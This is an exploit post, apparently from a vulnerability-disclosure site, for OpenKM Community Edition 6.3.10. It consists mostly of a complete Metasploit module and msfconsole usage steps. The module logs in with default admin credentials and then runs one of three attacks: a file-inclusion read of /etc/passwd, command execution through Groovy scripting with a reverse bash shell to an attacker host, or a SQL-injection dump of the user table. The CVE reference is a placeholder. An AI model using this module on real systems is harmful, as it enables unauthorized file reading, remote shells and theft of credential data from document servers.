OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL Injection
=============================================================================================================================================
| # Title : OpenKM Community Edition 6.3.10 Multiple Vulnerabilities Exploit Module (Metasploit) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.openkm.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214050/ &
[+] Summary : This Metasploit module targets multiple vulnerabilities in the OpenKM document management system. It includes capabilities for:
Local File Inclusion (LFI) via the Scripting module.
Remote Code Execution (RCE) through Groovy script evaluation.
SQL Injection (SQLi) via the DatabaseQuery module.
The module was designed for OpenKM Community Edition 6.3.10 but can serve as a proof-of-concept for other vulnerable versions.
It requires authentication with admin-level credentials for most attacks. The module demonstrates exploitation techniques for research and testing purposes.
It is primarily a PoC and not guaranteed to succeed in all environments, depending on configuration, patching, and security hardening.
[+] Notes:
LFI requires the Scripting module and valid CSRF token.
RCE executes commands through Groovy; restricted environments may prevent exploitation.
SQLi works if the DatabaseQuery module is accessible and unrestricted.
This module is intended for lab testing, research, or authorized penetration testing only.
[+] Impact: Unauthorized reading of files, remote command execution, and data disclosure from SQL injection.
[+] POC :
# Test scan only
msfconsole
use exploit/multi/http/openkm_vulns
set RHOSTS target_ip
set RPORT 8080
check
# Test LFI
set EXPLOIT_TYPE LFI
set LFI_FILE /etc/passwd
run
# Test RCE (without payload)
set EXPLOIT_TYPE RCE
run
# Test RCE (with payload)
set EXPLOIT_TYPE RCE
set PAYLOAD cmd/unix/reverse_bash
set LHOST attacker_ip
exploit
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenKM Multiple Vulnerabilities Exploit',
'Description' => %q{
This module exploits multiple vulnerabilities in OpenKM document management system.
Vulnerabilities include:
1. Local File Inclusion (LFI) in Scripting module
2. Remote Code Execution (RCE) via Groovy scripting
3. SQL Injection in DatabaseQuery module
Tested on OpenKM Community Edition 6.3.10
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka' # Module conversion
],
'References' => [
['CVE', 'CVE-2024-XXXXX'],
['URL', 'https://terrasystemlabs.com/research']
],
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat bash perl python'
}
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 8080
},
'DisclosureDate' => '2024-01-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
))
register_options([
OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/OpenKM']),
OptString.new('USERNAME', [true, 'Username to authenticate', 'okmAdmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate', 'admin']),
OptEnum.new('EXPLOIT_TYPE', [
true, 'Type of exploit to use', 'RCE',
['LFI', 'RCE', 'SQLI']
]),
OptString.new('LFI_FILE', [false, 'File to read for LFI exploit', '/etc/passwd']),
OptString.new('SQL_QUERY', [false, 'SQL query to execute', 'SELECT * FROM OKM_USER'])
])
end
def check
print_status("Checking if target is OpenKM and vulnerable...")
# Check 1: Version detection via GWT RPC
version_info = get_version
if version_info
print_good("Detected OpenKM version: #{version_info}")
return Exploit::CheckCode::Appears
end
# Check 2: Try to access login page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp')
})
if res && res.code == 200 && res.body.include?('OpenKM')
print_warning("OpenKM detected but version check failed")
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def get_version
uri = normalize_uri(target_uri.path, 'frontend', 'Workspace')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => {
'Content-Type' => 'text/x-gwt-rpc; charset=utf-8',
'X-GWT-Module-Base' => "#{get_uri}frontend/"
},
'data' => "7|0|4|#{get_uri}frontend/|42DC97C6A4E30E734F8CCD1FE2250214|com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
})
if res && res.code == 200 && res.body.include?('//OK')
# Parse version from response
if res.body =~ /com\.openkm\.frontend\.client\.bean\.GWTAppVersion/
version_match = res.body.scan(/"(\d+\.\d+\.\d+)"/).flatten.first
return version_match if version_match
end
return "Unknown (GWT response detected)"
end
nil
end
def login
print_status("Attempting to login with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
# First get the login page for session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.jsp')
})
return false unless res
# Perform login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'j_language' => 'en-GB',
'submit' => ''
},
'headers' => {
'Referer' => "#{get_uri}#{normalize_uri(target_uri.path, 'login.jsp')}"
}
})
if res && (res.code == 302 || res.code == 200)
# Check if we're redirected to dashboard
if res.headers['Location'] && !res.headers['Location'].include?('error')
print_good("Login successful")
@cookie = res.get_cookies
return true
elsif res.code == 200 && res.body.include?('Dashboard')
print_good("Login successful (no redirect)")
@cookie = res.get_cookies
return true
end
end
print_error("Login failed")
false
end
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'),
'cookie' => @cookie
})
return nil unless res && res.code == 200
# Extract CSRF token
if res.body =~ /name="csrft"\s+value="([^"]+)"/
return Regexp.last_match(1)
end
nil
end
def exploit_lfi(file_path)
print_status("Attempting LFI exploit for file: #{file_path}")
csrf_token = get_csrf_token
unless csrf_token
print_error("Could not obtain CSRF token")
return false
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'),
'cookie' => @cookie,
'vars_post' => {
'csrft' => csrf_token,
'script' => '',
'fsPath' => file_path,
'action' => 'Load'
}
})
if res && res.code == 200
# Extract content from textarea
if res.body =~ /<textarea[^>]*id="script"[^>]*>([\s\S]*?)<\/textarea>/
content = Regexp.last_match(1).strip
if !content.empty?
print_good("Successfully read file:")
print_line(content)
# Save to loot
loot_path = store_loot(
'openkm.lfi.data',
'text/plain',
rhost,
content,
file_path,
'OpenKM LFI Exploit'
)
print_good("File saved to: #{loot_path}")
return true
end
end
end
print_error("LFI exploit failed")
false
end
def exploit_rce(cmd)
print_status("Attempting RCE with command: #{cmd}")
csrf_token = get_csrf_token
unless csrf_token
print_error("Could not obtain CSRF token")
return false
end
# Groovy script for command execution
groovy_script = <<~GROOVY
def cmd = "#{cmd.gsub('"', '\\"')}"
def process = cmd.execute()
def output = process.text
print("CMD_OUTPUT:" + output)
GROOVY
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'),
'cookie' => @cookie,
'vars_post' => {
'csrft' => csrf_token,
'script' => groovy_script,
'fsPath' => '',
'action' => 'Evaluate'
}
})
if res && res.code == 200
if res.body.include?('CMD_OUTPUT:')
# Extract command output
output = res.body.split('CMD_OUTPUT:').last
output = output.split('<').first.strip if output.include?('<')
print_good("Command executed successfully:")
print_line(output)
# Save to loot
loot_path = store_loot(
'openkm.rce.output',
'text/plain',
rhost,
output,
"Command: #{cmd}",
'OpenKM RCE Exploit'
)
print_good("Output saved to: #{loot_path}")
return true
end
end
print_error("RCE exploit failed")
false
end
def exploit_sqli(query)
print_status("Attempting SQL Injection with query: #{query}")
# Construct multipart form data for SQL query
boundary = "----WebKitFormBoundary#{rand(36**20).to_s(36)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
post_data << "#{query};\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
post_data << "OKM_USER\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"type\"\r\n\r\n"
post_data << "jdbc\r\n"
post_data << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'DatabaseQuery'),
'cookie' => @cookie,
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}"
},
'data' => post_data
})
if res && res.code == 200
# Parse HTML table results
if res.body.include?('<table class="results-old">')
# Extract table data
require 'nokogiri'
doc = Nokogiri::HTML(res.body)
table = doc.at('table.results-old')
if table
print_good("SQL query executed successfully")
# Extract and display data
rows = table.search('tr')
headers = rows.first.search('th, td').map(&:text)
# Print table
table_data = []
rows[1..-1].each do |row|
cells = row.search('td').map(&:text)
table_data << cells
print_line(cells.join(' | '))
end
# Save to loot
loot_content = "Query: #{query}\n\n"
loot_content << headers.join(' | ') + "\n"
table_data.each { |row| loot_content << row.join(' | ') + "\n" }
loot_path = store_loot(
'openkm.sqli.results',
'text/plain',
rhost,
loot_content,
'sql_results.txt',
'OpenKM SQL Injection Exploit'
)
print_good("Results saved to: #{loot_path}")
return true
end
end
end
print_error("SQL Injection exploit failed")
false
end
def exploit
# Main exploit method
print_status("Starting OpenKM exploit module")
# Check if target is vulnerable
check_code = check
unless check_code == Exploit::CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target does not appear to be vulnerable')
end
# Login
unless login
fail_with(Failure::NoAccess, 'Authentication failed')
end
# Execute based on exploit type
case datastore['EXPLOIT_TYPE']
when 'LFI'
file = datastore['LFI_FILE'] || '/etc/passwd'
success = exploit_lfi(file)
when 'RCE'
# Use payload if provided, otherwise use datastore command
cmd = payload.encoded || 'whoami'
success = exploit_rce(cmd)
if success && payload.encoded
print_good("Shell payload delivered successfully")
handler
end
when 'SQLI'
query = datastore['SQL_QUERY'] || 'SELECT * FROM OKM_USER'
success = exploit_sqli(query)
else
fail_with(Failure::BadConfig, "Invalid exploit type: #{datastore['EXPLOIT_TYPE']}")
end
# Report vulnerability
if success
report_vuln(
host: rhost,
port: rport,
name: self.name,
refs: self.references,
info: "Exploited via #{datastore['EXPLOIT_TYPE']}"
)
end
success
end
def get_uri
proto = datastore['SSL'] ? 'https://' : 'http://'
"#{proto}#{rhost}:#{rport}"
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL Injection
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 170